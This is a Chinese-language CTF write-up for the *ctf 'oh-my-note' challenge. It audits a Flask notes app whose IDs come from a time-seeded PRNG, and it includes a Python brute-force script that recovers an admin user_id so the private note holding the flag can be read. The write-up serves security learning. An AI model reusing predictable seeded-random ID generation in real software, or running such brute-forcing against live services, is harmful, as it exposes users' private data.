*ctf-oh-my-note

比赛的时候差一点就打出来了,赛后看了别的wp,正好环境在,赶紧复现一波

题目给了附件源码,直接代码审计,理清业务逻辑

代码审计

import string
import random
import time
import datetime
from flask import render_template, redirect, url_for, request, session, Flask
from functools import wraps
from exts import db
from config import Config
from models import User, Note
from forms import CreateNoteForm

app = Flask(__name__)
app.config.from_object(Config)
db.init_app(app)


def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('index'))
            return f(*args, **kws)
    return decorated_function


def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])


@app.route('/')
@app.route('/index')
def index():
    results = Note.query.filter_by(prv='False').limit(100).all()
    notes = []
    for x in results:
        note = {}
        note['title'] = x.title
        note['note_id'] = x.note_id
        notes.append(note)

    return render_template('index.html', notes=notes)


@app.route('/logout')
@login_required
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))


@app.route('/create_note', methods=['GET', 'POST'])
def create_note():
    try:
        form = CreateNoteForm()
        if request.method == "POST":
            username = form.username.data
            title = form.title.data
            text = form.body.data
            prv = str(form.private.data)
            user = User.query.filter_by(username=username).first()

            if user:
                user_id = user.user_id
            else:
                timestamp = round(time.time(), 4)
                random.seed(timestamp)
                user_id = get_random_id()
                user = User(username=username, user_id=user_id)
                db.session.add(user)
                db.session.commit()
                session['username'] = username

            timestamp = round(time.time(), 4)

            post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')

            random.seed(user_id + post_at)
            note_id = get_random_id()

            note = Note(user_id=user_id, note_id=note_id,
                        title=title, text=text,
                        prv=prv, post_at=post_at)
            db.session.add(note)
            db.session.commit()
            return redirect(url_for('index'))

        else:
            return render_template("create.html", form=form)
    except Exception as e:
        pass


@app.route('/my_notes')
def my_notes():
    if session.get('username'):
        username = session['username']
        user_id = User.query.filter_by(username=username).first().user_id
    else:
        user_id = request.args.get('user_id')
        if not user_id:
            return redirect(url_for('index'))

    results = Note.query.filter_by(user_id=user_id).limit(100).all()
    notes = []
    for x in results:
        note = {}
        note['title'] = x.title
        note['note_id'] = x.note_id
        notes.append(note)

    return render_template("my_notes.html", notes=notes)


@app.route('/view/<_id>')
def view(_id):
    note = Note.query.filter_by(note_id=_id).first()
    user_id = note.user_id
    username = User.query.filter_by(user_id=user_id).first().username
    data = {
        'post_at': note.post_at,
        'title': note.title,
        'text': note.text,
        'username': username
    }

    return render_template('note.html', data=data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

源码和balccon-2020的Two Sides of a Coin很像

首先是定义了五个路由,我们分开分析

  1. /index

该路由下就是记录了title和note_id,没什么特别的

  1. /logout

访问logout路由时删除session,重定向到根路由下

  1. /create_note

首先我们要知道几个变量是什么意思

user_id:创建的用户名经过以创建时间为种子的随机函数处理后的值

post_at:提取我们创建note的时间并格式化表示

note_id:以(user_id + post_at)为种子的随机函数处理后的字符串,即url中view/后面的值

如果请求方法是POST,那么会根据提交的各种信息创建表单,建立上面的几个参数,一开始以为flag在这里

prv = str(form.private.data)

硬着怼这里。后面才想到这里就是是否将创建的note设为私有,sb了

  1. /my_notes

如果session中有username就获取,没有就通过user_id获取,输出创建后的note到my_note中

  1. /view/<_id>

查看note具体信息

爆破伪随机数

那么我们的思路就出来了

根据文章发布的时间得到post_at->根据url /view路由后面得到note_id->通过随机生成的seed,并将其与post_at再度随机处理->将得到的note_id与url中的对比->拿到对应用户的id->通过session和user_id访问admin的私人note,得到flag

编写exp

转换时间为时间戳

在线网站

得到1610677740和1610677800

exp来自这位师傅

import random
import string
import datetime
ts = 1610677740
te = 1610677800
target = 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u'

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

for t in range(ts, te):
    for i in range(9999):
        timestamp = 0.0001 * i + t
        random.seed(timestamp)
        user_id = get_random_id()
        post_at = datetime.datetime.fromtimestamp(
            t, tz=datetime.timezone.utc
        ).strftime('%Y-%m-%d %H:%M UTC')
        random.seed(user_id + post_at)
        not_id = get_random_id()
        if not_id == target:
            print(timestamp, user_id)

爆破user_id=7bdeij4oiafjdypqyrl2znwk7w9lulgn

根据/my_notes路由传参

发现/view/8gjrwovok2jarvg38jvbq9uriheahi29

访问,获得flag

posted @ 2021-01-19 11:26  kar3a  阅读(421)  评论(0编辑  收藏  举报